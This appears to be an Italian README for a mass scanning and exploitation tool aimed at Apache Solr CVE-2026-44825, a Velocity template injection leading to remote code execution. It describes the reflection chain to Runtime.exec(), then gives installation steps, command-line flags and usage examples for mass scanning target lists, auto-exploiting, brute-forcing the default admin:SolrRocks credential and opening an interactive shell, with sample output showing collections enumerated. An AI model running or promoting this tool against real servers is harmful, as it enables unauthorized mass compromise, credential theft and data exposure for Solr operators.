
☄️ Framework di ricognizione e sfruttamento di massa per Apache Solr CVE-2026-44825 — Iniezione di template Velocity a RCE
CVE-2026-44825 è una vulnerabilità di gravità critica in Apache Solr che consente agli aggressori di ottenere Esecuzione di Codice Remoto (RCE) non autenticata tramite injection di template Velocity.
L'endpoint /select di Apache Solr accetta un parametro wt=velocity che renderizza template Velocity forniti dall'utente. Quando il Velocity Response Writer è abilitato (o può essere abilitato tramite API di configurazione), un aggressore può iniettare un template dannoso che chiama java.lang.Runtime.exec(), eseguendo comandi arbitrari del sistema con i privilegi del processo Solr.
| Vettore | Gravità | Impatto |
|---|---|---|
| RCE non autenticata | 9.8 (Critica) | Compromissione completa del sistema |
| RCE autenticata | 8.8 (Alta) | Esecuzione di codice post-autenticazione |
| Divulgazione di informazioni | 5.3 (Media) | Enumerazione di core/collezioni |
Apache Solr include Apache Velocity come motore di template opzionale per il rendering delle risposte. La vulnerabilità risiede nel VelocityResponseWriter di Solr che elabora i parametri template controllati dall'utente senza un'adeguata sanificazione, consentendo l'invocazione diretta delle API di reflection di Java:
Catena di Reflection Java:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Versione Apache Solr | Stato | Note |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnerabile | Sfruttamento attivo in natura |
| 10.0.0 | 🔴 Vulnerabile | Versione iniziale 10.x affetta |
| 10.0.1+ | 🟢 Corretta | Fix backportato |
| 9.10.2+ | 🟢 Corretta | Patch disponibile |
| ≤ 9.3.x | 🟢 Non Affetta | Velocity Response Writer non presente |
| 8.x (tutte) | 🟢 Non Affetta | Nessun supporto Velocity |
Nota: I controlli di versione vengono eseguiti automaticamente analizzando la risposta JSON di
/admin/info/system.
🔍 Ricognizione
|
💀 Exploitation
|
# Clona il repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Installa le dipendenze
pip install -r requirements.txt
# Verifica
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Solo librerie standard +
requests. Nessuna dipendenza esotica.
Scanner Apache Solr CVE-2026-44825
-t, --target URL singolo target o IP[:porta]
-f, --file File contenente i target (uno per riga, # per commenti)
--exploit Auto-exploit se vengono trovate credenziali vulnerabili
--rce Avvia shell interattiva dopo l'autenticazione
-u, --user Nome utente per Basic Auth
-pw, --password Password per Basic Auth
-o, --output Percorso file output JSON (default: solr_results.json)
-w, --workers Numero di thread concorrenti (default: 30)
-T, --timeout Timeout richieste HTTP (secondi) (default: 8)
# Singolo target
python solr_scanner.py -t 192.168.1.100:8983
# Singolo target con percorso personalizzato
python solr_scanner.py -t http://example.com/solr
# Scansione di massa da file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supporta commenti e righe vuote
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR non supportato; espandere con strumento esterno)
# Scansiona + auto-exploit se trovate credenziali
python solr_scanner.py -f targets.txt --exploit
# Credenziali note + shell interattiva
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Brute-force automatico + shell in caso di successo
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
Scanner Apache Solr CVE-2026-44825
Target: 3 | Thread: 30 | Timeout: 8s
Scansione in corso...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Fatto. Totale:3 | Solr:3 | Vuln:1
Tutti e 3 i target rilevati. L'istanza 9.4.1 è contrassegnata come vulnerabile con Basic Auth abilitato.
$ python solr_scanner.py -t solr-target.internal
Scanner Apache Solr CVE-2026-44825
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
La credenziale predefinita
admin:SolrRocksconcede l'accesso alle API admin di Solr. Quattro collezioni scoperte.